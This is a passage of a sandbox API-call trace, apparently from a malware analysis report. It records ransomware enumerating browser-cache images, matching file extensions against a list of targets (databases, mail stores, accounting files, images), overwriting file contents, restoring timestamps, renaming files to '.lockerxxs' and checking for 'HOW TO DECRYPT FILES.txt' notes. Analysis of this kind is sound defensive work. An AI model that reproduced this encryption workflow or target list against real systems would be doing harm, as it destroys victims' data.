HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg.lockerxxs" [0082.912] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbboiat[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.913] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x75e [0082.913] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53194530, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53194530, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53194530, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.913] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.913] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x738, lpOverlapped=0x0) returned 1 [0082.915] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg") returned="BBBOIAt[1].jpg" [0082.916] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.916] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x738, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x738, lpOverlapped=0x0) returned 1 [0082.916] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.916] CloseHandle (hObject=0xa4) returned 1 [0082.916] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbboiat[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbboiat[1].jpg.lockerxxs")) returned 1 [0082.917] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x539049f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x539049f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x539049f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBOmuh[1].jpg", cAlternateFileName="BBBOMU~1.JPG")) returned 1 [0082.917] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.917] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBOmuh[1].jpg") returned 1 [0082.917] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBOmuh[1].jpg") returned 1 [0082.917] lstrcmpiA (lpString1="", lpString2="BBBOmuh[1].jpg") returned -1 [0082.917] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg") returned="BBBOIAt[1].jpg" [0082.917] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.917] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.918] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.918] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.918] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBOmuh[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg" [0082.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.ems") returned 0 [0082.918] lstrlenA (lpString="*.ems") returned 5 [0082.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.db") returned 0 [0082.918] lstrlenA (lpString="*.db") returned 4 [0082.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.dbf") returned 0 [0082.918] lstrlenA (lpString="*.dbf") returned 5 [0082.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.myox") returned 0 [0082.918] lstrlenA (lpString="*.myox") returned 6 [0082.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.myo") returned 0 [0082.918] lstrlenA (lpString="*.myo") returned 5 [0082.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.qbw") returned 0 [0082.918] lstrlenA (lpString="*.qbw") returned 5 [0082.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.qbb") returned 0 [0082.918] lstrlenA (lpString="*.qbb") returned 5 [0082.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.qbm") returned 0 [0082.918] lstrlenA (lpString="*.qbm") returned 5 [0082.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.qbo") returned 0 [0082.919] lstrlenA (lpString="*.qbo") returned 5 [0082.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.qbx") returned 0 [0082.919] lstrlenA (lpString="*.qbx") returned 5 [0082.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.qba") returned 0 [0082.919] lstrlenA (lpString="*.qba") returned 5 [0082.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.qby") returned 0 [0082.919] lstrlenA (lpString="*.qby") returned 5 [0082.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.qbj") returned 0 [0082.919] lstrlenA (lpString="*.qbj") returned 5 [0082.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.ofx") returned 0 [0082.919] lstrlenA (lpString="*.ofx") returned 5 [0082.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.qif") returned 0 [0082.919] lstrlenA (lpString="*.qif") returned 5 [0082.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.mye") returned 0 [0082.919] lstrlenA (lpString="*.mye") returned 5 [0082.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.mbox") returned 0 [0082.919] lstrlenA (lpString="*.mbox") returned 6 [0082.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.eml") returned 0 [0082.919] lstrlenA (lpString="*.eml") returned 5 [0082.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.pst") returned 0 [0082.919] lstrlenA (lpString="*.pst") returned 5 [0082.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.ost") returned 0 [0082.919] lstrlenA (lpString="*.ost") returned 5 [0082.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.idx") returned 0 [0082.920] lstrlenA (lpString="*.idx") returned 5 [0082.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.dbx") returned 0 [0082.920] lstrlenA (lpString="*.dbx") returned 5 [0082.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.sql") returned 0 [0082.920] lstrlenA (lpString="*.sql") returned 5 [0082.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.mdb") returned 0 [0082.920] lstrlenA (lpString="*.mdb") returned 5 [0082.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.fdb") returned 0 [0082.920] lstrlenA (lpString="*.fdb") returned 5 [0082.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.wab") returned 0 [0082.920] lstrlenA (lpString="*.wab") returned 5 [0082.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.dat") returned 0 [0082.920] lstrlenA (lpString="*.dat") returned 5 [0082.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.txt") returned 0 [0082.920] lstrlenA (lpString="*.txt") returned 5 [0082.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.jpeg") returned 0 [0082.920] lstrlenA (lpString="*.jpeg") returned 6 [0082.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", pszSpec="*.jpg") returned 1 [0082.920] lstrlenA (lpString="*.jpg") returned 5 [0082.920] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg" [0082.920] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg" [0082.921] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg." [0082.921] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg.lockerxxs" [0082.921] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbomuh[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.921] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6dc [0082.921] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x539049f0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x539049f0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x539049f0, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.921] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.921] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x6b6, lpOverlapped=0x0) returned 1 [0082.924] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg") returned="BBBOmuh[1].jpg" [0082.924] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.924] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x6b6, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x6b6, lpOverlapped=0x0) returned 1 [0082.924] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.924] CloseHandle (hObject=0xa4) returned 1 [0082.924] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbomuh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbomuh[1].jpg.lockerxxs")) returned 1 [0082.925] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53467f50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53467f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5348e0b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x9be, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBPK5J[1].jpg", cAlternateFileName="BBBPK5~1.JPG")) returned 1 [0082.925] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.925] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBPK5J[1].jpg") returned 1 [0082.925] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBPK5J[1].jpg") returned 1 [0082.925] lstrcmpiA (lpString1="", lpString2="BBBPK5J[1].jpg") returned -1 [0082.925] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg") returned="BBBOmuh[1].jpg" [0082.925] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.925] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.925] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.925] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.926] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBPK5J[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg" [0082.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.ems") returned 0 [0082.926] lstrlenA (lpString="*.ems") returned 5 [0082.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.db") returned 0 [0082.926] lstrlenA (lpString="*.db") returned 4 [0082.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.dbf") returned 0 [0082.926] lstrlenA (lpString="*.dbf") returned 5 [0082.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.myox") returned 0 [0082.926] lstrlenA (lpString="*.myox") returned 6 [0082.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.myo") returned 0 [0082.926] lstrlenA (lpString="*.myo") returned 5 [0082.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 